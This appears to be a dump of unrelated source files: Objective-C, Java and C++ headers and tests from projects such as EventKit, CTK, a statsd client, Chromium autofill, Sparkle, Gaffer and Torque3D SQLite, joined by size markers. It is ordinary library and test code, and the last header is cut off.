- (void)reset NS_AVAILABLE(10_8, 5_0);
/*!
@method refreshSourcesIfNecessary
@abstract Cause a sync to potentially occur taking into account the necessity of it.
@discussion You can call this method to pull new data from remote sources.
This only updates the event store's data. If you want to update your objects after
refreshing the sources, you should call refresh on each of them afterwards.
On iOS, this sync only occurs if deemed necessary.
On OS X, this will occur regardless of necessity, but may change in a future release to match the iOS behavior.
On WatchOS, initiating sync is not available. Sync will occur automatically with the paired iOS device.
*/
- (void)refreshSourcesIfNecessary NS_AVAILABLE(10_8, 5_0) __WATCHOS_PROHIBITED;
@end
/*!
@constant EKEventStoreChangedNotification
@discussion Notification name sent out when the database is changed by either an external process,
another event store in the same process, or by calling saveEvent: or removeEvent: on a
store you are managing. When you receive this notification, you should consider all EKEvent
instances you have to be invalid. If you had selected events for a date range using
eventsMatchingPredicate, etc. for display, you should release them and re-fetch the events
again. If you have an event you are actively using (e.g. you are currently viewing details
for it or editing it), you can call [EKEvent refresh] to try to revalidate it against the
latest state of the database. If that method returns YES, you can continue to use the event,
otherwise, you should release it and abandon what you were doing with it. The view
controllers provided by EventKitUI automatically deal with this for you.
This notification will also be posted if access to events or reminders is changed by the user.
*/
EVENTKIT_EXTERN NSString *const EKEventStoreChangedNotification NS_AVAILABLE(10_8, 4_0);
NS_ASSUME_NONNULL_END
| 9,078 |
909 | public class ByNameJava extends ByName {
@Override
public void foo(int x, Object s) {
super.foo(x, s);
}
} | 53 |
841 | package org.jboss.resteasy.client.jaxrs.internal.proxy;
import java.lang.reflect.Method;
import org.jboss.resteasy.client.jaxrs.ProxyConfig;
public interface ClientInvokerFactory
{
ClientInvoker createClientInvoker(Class<?> clazz, Method method, ProxyConfig config);
}
| 87 |
515 | <gh_stars>100-1000
/*=========================================================================
Library: CTK
Copyright (c) German Cancer Research Center,
Division of Medical and Biological Informatics
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0.txt
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
=========================================================================*/
// Qt includes
#include <QCoreApplication>
#include <QSignalSpy>
#include <QTimer>
// CTK includes
#include "ctkPathListWidget.h"
#include "ctkTest.h"
// STD includes
#include <cstdlib>
#include <iostream>
//-----------------------------------------------------------------------------
class ctkPathListWidgetTester : public QObject
{
Q_OBJECT
private slots:
void testDefaults();
void testChangeOptions();
void testMode();
void testRelativeAndAbsolutePaths();
void testSimilarPaths();
void testSetPaths();
void testEditPaths();
};
// ----------------------------------------------------------------------------
void ctkPathListWidgetTester::testDefaults()
{
ctkPathListWidget pathList;
QSignalSpy pathListChangedSpy(&pathList, SIGNAL(pathsChanged(QStringList,QStringList)));
// The default options are Readable and Exists
QCOMPARE(pathList.fileOptions(), ctkPathListWidget::Exists | ctkPathListWidget::Readable);
QCOMPARE(pathList.directoryOptions(), ctkPathListWidget::Exists | ctkPathListWidget::Readable);
QVERIFY(!pathList.addPath("/shouldnotexist/"));
QVERIFY(!pathList.addPath("/should/also/not/exist"));
QVERIFY(pathList.addPath(QDir::tempPath()));
QVERIFY(!pathList.addPath(QDir::tempPath()));
QVERIFY(!pathList.removePath("/shouldnotexist/"));
QList<QVariant> expectedArgs;
expectedArgs.push_back(QStringList(QDir::tempPath()));
expectedArgs.push_back(QStringList());
QCOMPARE(pathList.paths(), expectedArgs.front().toStringList());
QCOMPARE(pathListChangedSpy.count(), 1);
QCOMPARE(pathListChangedSpy.front(), expectedArgs);
}
// ----------------------------------------------------------------------------
void ctkPathListWidgetTester::testChangeOptions()
{
ctkPathListWidget pathList;
QSignalSpy pathListChangedSpy(&pathList, SIGNAL(pathsChanged(QStringList,QStringList)));
// The default options are Readable and Exists
QCOMPARE(pathList.fileOptions(), ctkPathListWidget::Exists | ctkPathListWidget::Readable);
QCOMPARE(pathList.directoryOptions(), ctkPathListWidget::Exists | ctkPathListWidget::Readable);
QCOMPARE(pathList.mode(), ctkPathListWidget::Any);
QTemporaryFile tmpFile;
QVERIFY(tmpFile.open());
QVERIFY(!tmpFile.permissions().testFlag(QFile::ExeOwner));
QVERIFY(pathList.addPath(tmpFile.fileName()));
QCOMPARE(pathList.path(0), tmpFile.fileName());
pathList.clear();
QCOMPARE(pathList.count(), 0);
QCOMPARE(pathList.path(0), QString());
QCOMPARE(pathListChangedSpy.size(), 2);
QCOMPARE(pathListChangedSpy.at(0), QList<QVariant>() << (QStringList() << tmpFile.fileName()) << QStringList());
QCOMPARE(pathListChangedSpy.at(1), QList<QVariant>() << QStringList() << (QStringList() << tmpFile.fileName()));
pathListChangedSpy.clear();
// Add another temporary non-executable file
QTemporaryFile tmpFile2;
QVERIFY(tmpFile2.open());
QVERIFY(pathList.addPath(tmpFile2.fileName()));
QCOMPARE(pathList.count(), 1);
QCOMPARE(pathList.path(0), tmpFile2.fileName());
pathListChangedSpy.clear();
// Changing the file options. This should invalidate tmpFile2 and remove it
pathList.setFileOptions(pathList.fileOptions() | ctkPathListWidget::Executable);
QCOMPARE(pathList.fileOptions(), ctkPathListWidget::Exists | ctkPathListWidget::Readable | ctkPathListWidget::Executable);
pathList.setDirectoryOptions(pathList.directoryOptions() | ctkPathListWidget::Writable);
QCOMPARE(pathList.directoryOptions(), ctkPathListWidget::Exists | ctkPathListWidget::Readable | ctkPathListWidget::Writable);
QCOMPARE(pathList.count(), 0);
QCOMPARE(pathListChangedSpy.count(), 1);
QCOMPARE(pathListChangedSpy.at(0), QList<QVariant>() << QStringList() << (QStringList() << tmpFile2.fileName()));
pathListChangedSpy.clear();
// The tmp file is not executable, so it should not be added now
QVERIFY(!pathList.addPath(tmpFile.fileName()));
QVERIFY(pathListChangedSpy.isEmpty());
QVERIFY(tmpFile.setPermissions(tmpFile.permissions() | QFile::ExeOwner));
// Try again
QVERIFY(pathList.addPath(tmpFile.fileName()));
QCOMPARE(pathList.count(), 1);
QCOMPARE(pathList.path(0), tmpFile.fileName());
// Change the file options again. This should not invalidate the executable temporary file
pathList.setFileOptions(ctkPathListWidget::Exists | ctkPathListWidget::Readable);
QCOMPARE(pathList.fileOptions(), ctkPathListWidget::Exists | ctkPathListWidget::Readable);
QCOMPARE(pathList.paths(), QStringList() << tmpFile.fileName());
// Add the non-executable tmpFile2 again
pathList.addPath(tmpFile2.fileName());
QCOMPARE(pathList.count(), 2);
QCOMPARE(pathList.paths(), QStringList() << tmpFile.fileName() << tmpFile2.fileName());
QCOMPARE(pathListChangedSpy.count(), 2);
pathListChangedSpy.clear();
// Remove all
pathList.clear();
QCOMPARE(pathList.count(), 0);
QCOMPARE(pathListChangedSpy.count(), 1);
QCOMPARE(pathListChangedSpy.at(0), QList<QVariant>() << QStringList()
<< (QStringList() << tmpFile.fileName() << tmpFile2.fileName()));
pathListChangedSpy.clear();
// Add two at once
pathList.addPaths(QStringList() << tmpFile.fileName() << tmpFile2.fileName());
QCOMPARE(pathList.count(), 2);
QCOMPARE(pathList.path(0), tmpFile.fileName());
QCOMPARE(pathList.path(1), tmpFile2.fileName());
QCOMPARE(pathListChangedSpy.count(), 1);
QCOMPARE(pathListChangedSpy.at(0), QList<QVariant>()
<< (QStringList() << tmpFile.fileName() << tmpFile2.fileName())
<< QStringList());
}
// ----------------------------------------------------------------------------
void ctkPathListWidgetTester::testMode()
{
ctkPathListWidget listWidget;
listWidget.setFileOptions(ctkPathListWidget::None);
QVERIFY(listWidget.fileOptions() == ctkPathListWidget::None);
listWidget.setDirectoryOptions(ctkPathListWidget::None);
QVERIFY(listWidget.directoryOptions() == ctkPathListWidget::None);
QVERIFY(listWidget.addPath("/a"));
QVERIFY(listWidget.addPath("/a/"));
listWidget.setMode(ctkPathListWidget::FilesOnly);
QVERIFY(listWidget.addPath("/b"));
QVERIFY(!listWidget.addPath("/b/"));
listWidget.setMode(ctkPathListWidget::DirectoriesOnly);
QVERIFY(!listWidget.addPath("/c"));
QVERIFY(listWidget.addPath("/c/"));
}
// ----------------------------------------------------------------------------
void ctkPathListWidgetTester::testRelativeAndAbsolutePaths()
{
ctkPathListWidget listWidget;
listWidget.setFileOptions(ctkPathListWidget::None);
QVERIFY(listWidget.fileOptions() == ctkPathListWidget::None);
listWidget.setDirectoryOptions(ctkPathListWidget::None);
QVERIFY(listWidget.directoryOptions() == ctkPathListWidget::None);
QStringList paths = QStringList()
<< "/some/absolute/path/to/file"
<< "/some/absolute/path/to/dir/"
<< "relative/path/to/file"
<< "relative/path/to/dir/";
QStringList resultPaths = QStringList()
<< "/some/absolute/path/to/file"
<< "/some/absolute/path/to/dir/"
<< QDir::currentPath() + "/relative/path/to/file"
<< QDir::currentPath() + "/relative/path/to/dir/";
QCOMPARE(listWidget.addPaths(paths), resultPaths);
QCOMPARE(listWidget.path(0), resultPaths[0]);
QCOMPARE(listWidget.path(1), resultPaths[1]);
QCOMPARE(listWidget.path(2), resultPaths[2]);
QCOMPARE(listWidget.path(3), resultPaths[3]);
QCOMPARE(listWidget.files(), QStringList() << paths[0] << paths[2]);
QCOMPARE(listWidget.files(true), QStringList() << resultPaths[0] << resultPaths[2]);
QCOMPARE(listWidget.directories(), QStringList() << paths[1] << paths[3]);
QCOMPARE(listWidget.directories(true), QStringList() << resultPaths[1] << resultPaths[3]);
}
// ----------------------------------------------------------------------------
void ctkPathListWidgetTester::testSimilarPaths()
{
ctkPathListWidget listWidget;
listWidget.setFileOptions(ctkPathListWidget::None);
listWidget.setDirectoryOptions(ctkPathListWidget::None);
QVERIFY(listWidget.addPath("/one/path"));
QVERIFY(listWidget.addPath("/one/path/"));
QVERIFY(listWidget.addPath("/one"));
QVERIFY(listWidget.addPath("/one/"));
}
// ----------------------------------------------------------------------------
void ctkPathListWidgetTester::testSetPaths()
{
ctkPathListWidget listWidget;
listWidget.setFileOptions(ctkPathListWidget::None);
QVERIFY(listWidget.fileOptions() == ctkPathListWidget::None);
listWidget.setDirectoryOptions(ctkPathListWidget::None);
QVERIFY(listWidget.directoryOptions() == ctkPathListWidget::None);
QVERIFY(listWidget.addPath("/file/a"));
QVERIFY(listWidget.addPath("/file/b"));
QVERIFY(listWidget.addPath("/dir/a/"));
QSignalSpy pathListChangedSpy(&listWidget, SIGNAL(pathsChanged(QStringList,QStringList)));
QStringList newPaths = QStringList()
<< "/new/file/x"
<< "/file/b"
<< "/new/dir/x";
listWidget.setPaths(newPaths);
QCOMPARE(pathListChangedSpy.count(), 1);
QCOMPARE(pathListChangedSpy.front().at(0).toStringList(), QStringList() << "/new/file/x" << "/new/dir/x");
}
// ----------------------------------------------------------------------------
void ctkPathListWidgetTester::testEditPaths()
{
ctkPathListWidget listWidget;
listWidget.setFileOptions(ctkPathListWidget::None);
listWidget.setDirectoryOptions(ctkPathListWidget::None);
QVERIFY(listWidget.addPath("/file/a"));
QVERIFY(listWidget.addPath("/file/b"));
QVERIFY(listWidget.addPath("/dir/a/"));
QSignalSpy pathListChangedSpy(&listWidget, SIGNAL(pathsChanged(QStringList,QStringList)));
QVERIFY(!listWidget.editPath(QModelIndex(), "bla"));
QVERIFY(!listWidget.editPath(listWidget.model()->index(0,0), "/new/file/a/"));
QVERIFY(listWidget.editPath(listWidget.model()->index(0,0), "/new/file/a"));
QCOMPARE(listWidget.path(0), QString("/new/file/a"));
QVERIFY(listWidget.editPath("/dir/a/", "/new/dir/a/"));
QCOMPARE(listWidget.path(2), QString("/new/dir/a/"));
QCOMPARE(pathListChangedSpy.count(), 2);
QCOMPARE(pathListChangedSpy.at(0).at(0).toString(), QString("/new/file/a"));
QCOMPARE(pathListChangedSpy.at(0).at(1).toString(), QString("/file/a"));
QCOMPARE(pathListChangedSpy.at(1).at(0).toString(), QString("/new/dir/a/"));
QCOMPARE(pathListChangedSpy.at(1).at(1).toString(), QString("/dir/a/"));
}
// ----------------------------------------------------------------------------
CTK_TEST_MAIN(ctkPathListWidgetTest)
#include "moc_ctkPathListWidgetTest.cpp"
| 3,828 |
977 | /*
* Copyright 2015 Realm Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef DATADOG_CXX_STATSD_HPP_20160106
#define DATADOG_CXX_STATSD_HPP_20160106
#include <string>
#include "dogless/stats_collector.hpp"
#include "dogless/utils/misc.hpp"
#include "dogless/utils/random.hpp"
#include "dogless/utils/sockets.hpp"
#include "dogless/utils/io.hpp"
namespace dogless {
using std::string;
namespace _impl {
template <typename SocketType>
class Statsd : public StatsCollectorBase {
protected:
inline Statsd(string const& prefix, string const& hostname, int port);
inline Statsd(std::vector<string> const& endpoints, string const& prefix);
// modifiers
public:
inline void add_endpoint(string const& endpoint);
inline void add_endpoint(string const& hostname, int port);
inline void add_endpoints(std::vector<string> const& endpoints);
inline void prefix(string const& prefix);
inline void prefix(string&& prefix);
// main API
void decrement(const char* metric, int value = 1, float sample_rate = 1.0, const char* eol = "\n") final;
void gauge(const char* metric, double value, float sample_rate = 1.0, const char* eol = "\n") final;
void gauge_relative(const char* metric, double amount, float sample_rate = 1.0, const char* eol = "\n") final;
void histogram(const char* metric, double value, float sample_rate = 1.0, const char* eol = "\n") final;
void increment(const char* metric, int value = 1, float sample_rate = 1.0, const char* eol = "\n") final;
void timing(const char* metric, double value, float sample_rate = 1.0, const char* eol = "\n") final;
private:
// internal methods
inline void report(const char* metric, const char* metric_type, string const& value, float sample_rate,
string const& eol = "\n");
private:
// properties
utils::IOServiceRunner m_io_service;
utils::Random<0, 1> m_random;
string m_prefix;
protected:
SocketType m_socket;
};
// ctors
template <typename SocketType>
inline Statsd<SocketType>::Statsd(string const& prefix, string const& hostname, int port)
: m_io_service()
, m_socket(m_io_service(), hostname, port)
{
this->prefix(prefix);
}
template <typename SocketType>
inline Statsd<SocketType>::Statsd(std::vector<string> const& endpoints, string const& prefix)
: m_io_service()
, m_socket(m_io_service(), endpoints)
{
this->prefix(prefix);
}
// modifiers
template <typename SocketType>
inline void Statsd<SocketType>::add_endpoint(string const& endpoint)
{
m_socket.add_endpoint(endpoint);
}
template <typename SocketType>
inline void Statsd<SocketType>::add_endpoint(string const& hostname, int port)
{
m_socket.add_endpoint(hostname, port);
}
template <typename SocketType>
inline void Statsd<SocketType>::add_endpoints(std::vector<string> const& endpoints)
{
m_socket.add_endpoints(endpoints);
}
template <typename SocketType>
inline void Statsd<SocketType>::decrement(const char* metric, int value, float sample_rate, const char* eol)
{
increment(metric, value * -1, sample_rate, eol);
}
template <typename SocketType>
inline void Statsd<SocketType>::prefix(string const& prefix)
{
if (!prefix.empty()) {
m_prefix = prefix;
m_prefix += '.';
}
}
template <typename SocketType>
inline void Statsd<SocketType>::prefix(string&& prefix)
{
m_prefix = std::move(prefix);
if (!m_prefix.empty()) {
m_prefix += '.';
}
}
// main API
template <typename SocketType>
void Statsd<SocketType>::gauge(const char* metric, double value, float sample_rate, const char* eol)
{
report(metric, "g", utils::to_string(value), sample_rate, eol);
}
template <typename SocketType>
void Statsd<SocketType>::gauge_relative(const char* metric, double amount, float sample_rate, const char* eol)
{
std::string str;
if (amount >= 0.) {
str = '+' + utils::to_string(amount);
}
else {
str = utils::to_string(amount);
}
report(metric, "g", str, sample_rate, eol);
}
template <typename SocketType>
void Statsd<SocketType>::histogram(const char* metric, double value, float sample_rate, const char* eol)
{
report(metric, "h", utils::to_string(value), sample_rate, eol);
}
template <typename SocketType>
void Statsd<SocketType>::increment(const char* metric, int value, float sample_rate, const char* eol)
{
report(metric, "c", utils::to_string(value), sample_rate, eol);
}
template <typename SocketType>
void Statsd<SocketType>::timing(const char* metric, double value, float sample_rate, const char* eol)
{
report(metric, "ms", utils::to_string(value), sample_rate, eol);
}
// internal methods
template <typename SocketType>
void Statsd<SocketType>::report(const char* metric, const char* metric_type, string const& value, float sample_rate,
string const& eol)
{
if (sample_rate == 0.0f || (sample_rate != 1.0f && m_random() > sample_rate))
return;
std::stringstream ss;
if (!m_prefix.empty()) {
ss << m_prefix;
}
ss << metric << ':' << value << '|' << metric_type;
if (sample_rate != 1.0f)
ss << "|@" << utils::to_string(sample_rate);
ss << eol;
m_socket.send(ss.str());
}
} // namespace _impl
/* Raw metrics sender. Everything is sent as soon as it is reported by the
* code.
*
* Features:
* - Supports sending to multiple endpoints.
* - Supports delivery failure detection, with automatic back-off.
*/
class UnbufferedStatsd : public _impl::Statsd<utils::UDPSocket> {
public:
// ctors & dtors
UnbufferedStatsd(string const& prefix = {}, string const& hostname = "localhost", int port = 8125);
UnbufferedStatsd(std::vector<string> const& endpoints, string const& prefix = {});
UnbufferedStatsd(UnbufferedStatsd const&) = delete;
};
/* Buffered metrics sender. All metrics are buffered until one of two things
* happens:
* - the buffer is about to exceed the configured MTU size,
* - the maximum send delay has been exceeded.
*
* By default, the MTU size is 508 bytes, and the initial loop time is 1
* second.
*
* Features:
* - Sending to multiple endpoints.
* - Delivery failure detection, with automatic back-off.
* - Tries to fit as many metrics in a single UDP packet as possible.
* - Supports jumbo frames.
* - Relatively thread-safe.
*
* Recommendations:
* - If you are sending your metrics to localhost, on Linux, you should
* typically be able to use Jumbo frames (65kB), which allows for more
* efficient sending/receiving.
*/
class BufferedStatsd : public _impl::Statsd<utils::BufferedUDPSocket> {
public:
// ctors & dtors
BufferedStatsd(string const& prefix = {}, string const& hostname = "localhost", int port = 8125,
std::size_t mtu = MTU_InternetSafe);
BufferedStatsd(std::vector<string> const& endpoints, string const& prefix = {},
std::size_t mtu = MTU_InternetSafe);
BufferedStatsd(BufferedStatsd const&) = delete;
// accessors
int loop_interval() const noexcept;
std::size_t mtu() const noexcept;
// modifiers
void loop_interval(int interval) noexcept;
void mtu(std::size_t mtu) noexcept;
// main API
void flush();
};
} // namespace dogless
#endif // DATADOG_CXX_STATSD_HPP_20160106
| 2,769 |
575 | <reponame>iridium-browser/iridium-browser
// Copyright 2021 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CHROME_BROWSER_AUTOFILL_ANDROID_SAVE_ADDRESS_PROFILE_PROMPT_CONTROLLER_H_
#define CHROME_BROWSER_AUTOFILL_ANDROID_SAVE_ADDRESS_PROFILE_PROMPT_CONTROLLER_H_
#include <memory>
#include <jni.h>
#include "base/android/scoped_java_ref.h"
#include "base/callback.h"
#include "chrome/browser/autofill/android/save_address_profile_prompt_view.h"
#include "components/autofill/core/browser/autofill_client.h"
#include "components/autofill/core/browser/data_model/autofill_profile.h"
#include "content/public/browser/web_contents.h"
namespace autofill {
// Android implementation of the modal prompt for saving an address profile.
// The class is responsible for showing the view and handling user
// interactions. The controller owns its java counterpart and the corresponding
// view.
class SaveAddressProfilePromptController {
public:
SaveAddressProfilePromptController(
std::unique_ptr<SaveAddressProfilePromptView> prompt_view,
const AutofillProfile& profile,
AutofillClient::AddressProfileSavePromptCallback decision_callback,
base::OnceCallback<void()> dismissal_callback);
SaveAddressProfilePromptController(
const SaveAddressProfilePromptController&) = delete;
SaveAddressProfilePromptController& operator=(
const SaveAddressProfilePromptController&) = delete;
~SaveAddressProfilePromptController();
void DisplayPrompt();
void OnAccepted();
void OnDeclined();
// Called whenever the prompt is dismissed (e.g. because the user already
// accepted/declined the prompt (after OnAccepted/OnDeclined is called) or
// it was closed without interaction).
void OnPromptDismissed();
base::android::ScopedJavaLocalRef<jobject> GetJavaObject();
void OnUserAccepted(JNIEnv* env,
const base::android::JavaParamRef<jobject>& obj);
void OnUserDeclined(JNIEnv* env,
const base::android::JavaParamRef<jobject>& obj);
void OnPromptDismissed(JNIEnv* env,
const base::android::JavaParamRef<jobject>& obj);
private:
void RunSaveAddressProfileCallback(
AutofillClient::SaveAddressProfileOfferUserDecision decision);
// If the user explicitly accepted/dismissed the prompt.
bool had_user_interaction_ = false;
// View that displays the prompt.
std::unique_ptr<SaveAddressProfilePromptView> prompt_view_;
// The profile that will be saved if the user accepts.
AutofillProfile profile_;
// The callback to run once the user makes a decision.
AutofillClient::AddressProfileSavePromptCallback decision_callback_;
// The callback guaranteed to be run once the prompt is dismissed.
base::OnceCallback<void()> dismissal_callback_;
// The corresponding Java SaveAddressProfilePromptController.
base::android::ScopedJavaGlobalRef<jobject> java_object_;
};
} // namespace autofill
#endif // CHROME_BROWSER_AUTOFILL_ANDROID_SAVE_ADDRESS_PROFILE_PROMPT_CONTROLLER_H_
| 1,019 |
802 | <filename>Sparkle/SPUCoreBasedUpdateDriver.h
//
// SPUCoreBasedUpdateDriver.h
// Sparkle
//
// Created by <NAME> on 3/18/16.
// Copyright © 2016 Sparkle Project. All rights reserved.
//
#import <Foundation/Foundation.h>
#import <Sparkle/SPUStatusCompletionResults.h>
#import "SPUUpdateDriver.h"
NS_ASSUME_NONNULL_BEGIN
@class SUHost, SUAppcastItem;
@protocol SPUUpdaterDelegate;
@protocol SPUCoreBasedUpdateDriverDelegate <NSObject>
- (void)basicDriverDidFindUpdateWithAppcastItem:(SUAppcastItem *)updateItem;
- (void)installerDidFinishPreparationAndWillInstallImmediately:(BOOL)willInstallImmediately silently:(BOOL)willInstallSilently;
- (void)coreDriverIsRequestingAbortUpdateWithError:(nullable NSError *)error;
- (void)basicDriverIsRequestingAbortUpdateWithError:(nullable NSError *)error;
@optional
- (void)basicDriverDidFinishLoadingAppcast;
- (void)downloadDriverWillBeginDownload;
- (void)downloadDriverDidReceiveExpectedContentLength:(uint64_t)expectedContentLength;
- (void)downloadDriverDidReceiveDataOfLength:(uint64_t)length;
- (void)coreDriverDidStartExtractingUpdate;
- (void)installerDidStartInstalling;
- (void)installerDidExtractUpdateWithProgress:(double)progress;
- (void)installerIsSendingAppTerminationSignal;
- (void)installerDidFinishInstallationWithAcknowledgement:(void(^)(void))acknowledgement;
@end
@interface SPUCoreBasedUpdateDriver : NSObject
- (instancetype)initWithHost:(SUHost *)host applicationBundle:(NSBundle *)applicationBundle sparkleBundle:(NSBundle *)sparkleBundle updater:(id)updater updaterDelegate:(nullable id <SPUUpdaterDelegate>)updaterDelegate delegate:(id<SPUCoreBasedUpdateDriverDelegate>)delegate;
- (void)prepareCheckForUpdatesWithCompletion:(SPUUpdateDriverCompletion)completionBlock;
- (void)preflightForUpdatePermissionPreventingInstallerInteraction:(BOOL)preventsInstallerInteraction reply:(void (^)(NSError * _Nullable))reply;
- (void)checkForUpdatesAtAppcastURL:(NSURL *)appcastURL withUserAgent:(NSString *)userAgent httpHeaders:(NSDictionary * _Nullable)httpHeaders inBackground:(BOOL)background includesSkippedUpdates:(BOOL)includesSkippedUpdates requiresSilentInstall:(BOOL)silentInstall;
- (void)resumeInstallingUpdateWithCompletion:(SPUUpdateDriverCompletion)completionBlock;
- (void)resumeUpdate:(id<SPUResumableUpdate>)resumableUpdate completion:(SPUUpdateDriverCompletion)completionBlock;
- (void)downloadUpdateFromAppcastItem:(SUAppcastItem *)updateItem inBackground:(BOOL)background;
- (void)deferInformationalUpdate:(SUAppcastItem *)updateItem;
- (void)extractDownloadedUpdate;
- (void)clearDownloadedUpdate;
- (void)finishInstallationWithResponse:(SPUInstallUpdateStatus)installUpdateStatus displayingUserInterface:(BOOL)displayingUserInterface;
- (void)abortUpdateAndShowNextUpdateImmediately:(BOOL)shouldShowUpdateImmediately error:(nullable NSError *)error;
@end
NS_ASSUME_NONNULL_END
| 913 |
587 | /*
* Copyright 2017-2020 Crown Copyright
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package uk.gov.gchq.gaffer.commonutil;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals;
public class ToStringBuilderTest {
@BeforeEach
public void setUp() throws Exception {
clearDebugModeProperty();
}
@AfterEach
public void after() {
clearDebugModeProperty();
}
@Test
public void testDebugOffToStringBuilder() {
setDebugMode("false");
ToStringBuilder toStringBuilder = new ToStringBuilder("Test String");
assertEquals(ToStringBuilder.SHORT_STYLE, toStringBuilder.getStyle());
}
@Test
public void testDebugOnToStringBuilder() {
setDebugMode("true");
ToStringBuilder toStringBuilder = new ToStringBuilder("Test String");
assertEquals(ToStringBuilder.FULL_STYLE, toStringBuilder.getStyle());
}
private void setDebugMode(final String value) {
System.setProperty(DebugUtil.DEBUG, value);
DebugUtil.updateDebugMode();
}
private void clearDebugModeProperty() {
System.clearProperty(DebugUtil.DEBUG);
DebugUtil.updateDebugMode();
}
}
| 614 |
2,113 | <reponame>vbillet/Torque3D
//-----------------------------------------------------------------------------
// Copyright (c) 2012 GarageGames, LLC
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to
// deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
// sell copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
//
// Additional Copyrights
// Copyright 2004 <NAME>
// Copyright 2016 <NAME>
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
// This code implements support for SQLite into Torque and TorqueScript
//
// Essentially this creates a scriptable object that interfaces with SQLite.
//
// The supported SQL subset of SQLite can be found here:
// http://www.sqlite.org/lang.html
//-----------------------------------------------------------------------------
#ifndef _SQLITEOBJECT_H_
#define _SQLITEOBJECT_H_
#ifndef _SIMBASE_H_
#include "console/simBase.h"
#endif
#include "sqlite3.h"
#include "core/util/tVector.h"
struct sqlite_resultrow
{
VectorPtr<char*> vColumnNames;
VectorPtr<char*> vColumnValues;
};
struct sqlite_resultset
{
S32 iResultSet;
S32 iCurrentRow;
S32 iCurrentColumn;
S32 iNumRows;
S32 iNumCols;
bool bValid;
VectorPtr<sqlite_resultrow*> vRows;
};
class SQLiteObject : public SimObject
{
// This typedef is required for tie ins with the script language.
//--------------------------------------------------------------------------
protected:
typedef SimObject Parent;
//--------------------------------------------------------------------------
public:
SQLiteObject();
~SQLiteObject();
// These are overloaded functions from SimObject that we handle for
// tie in to the script language. The .cc file has more in depth
// comments on these.
//-----------------------------------------------------------------------
bool processArguments(S32 argc, const char **argv);
bool onAdd();
void onRemove();
static void initPersistFields();
//-----------------------------------------------------------------------
//-----------------------------------------------------------------------
// Called to open a database using the sqlite_open() function.
// If the open fails, the function returns false, and sets the
// global error string. The script interface will automatically
// call the onOpenFailed() script callback and pass this string
// in if it fails. If it succeeds the script interface will call
// the onOpened() script callback.
bool OpenDatabase(const char* filename);
void CloseDatabase();
S32 loadOrSaveDb(const char *zFilename, bool isSave);//This code courtesy of sqlite.org.
S32 ExecuteSQL(const char* sql);
void NextRow(S32 resultSet);
bool EndOfResult(S32 resultSet);
void escapeSingleQuotes(const char* source, char *dest);
// support functions
void ClearErrorString();
void ClearResultSet(S32 index);
sqlite_resultset* GetResultSet(S32 iResultSet);
bool SaveResultSet(sqlite_resultset* pResultSet);
S32 GetResultSetIndex(S32 iResultSet);
S32 GetColumnIndex(S32 iResult, const char* columnName);
S32 numResultSets();
//Prepared Statements! We need a way to make them and extend them to script.
//void prepareStatement(sqlite3_stmt*,);
//void finalizeStatement();
//void bindInteger();
//...
sqlite3* m_pDatabase;
private:
char* m_szErrorString;
VectorPtr<sqlite_resultset*> m_vResultSets;
S32 m_iLastResultSet;
S32 m_iNextResultSet;
// This macro ties us into the script engine, and MUST MUST MUST be declared
// in a public section of the class definition. If it isn't you WILL get
// errors that will confuse you.
//--------------------------------------------------------------------------
public:
DECLARE_CONOBJECT(SQLiteObject);
S32 getLastRowId() { return sqlite3_last_insert_rowid(m_pDatabase); };
//--------------------------------------------------------------------------
};
#endif // _SQLITEOBJECT_H_ | 1,713 |
1,936 | #ifndef LOCALIZATION_EVALUATOR_LOCALIZATION_EVALUATOR_H_
#define LOCALIZATION_EVALUATOR_LOCALIZATION_EVALUATOR_H_
#include <limits>
#include <vector>
#include <Eigen/Core>
#include <aslam/common/memory.h>
#include <loop-closure-handler/loop-detector-node.h>
#include <vi-map/vi-map.h>
namespace localization_evaluator {
struct MissionEvaluationStats {
unsigned int num_vertices;
unsigned int successful_localizations;
Aligned<std::vector, Eigen::Vector3d> localization_p_G_I;
Aligned<std::vector, Eigen::Vector3d> bad_localization_p_G_I;
std::vector<unsigned int> lc_matches_counts;
std::vector<unsigned int> inliers_counts;
std::vector<double> localization_errors_meters;
EIGEN_MAKE_ALIGNED_OPERATOR_NEW
};
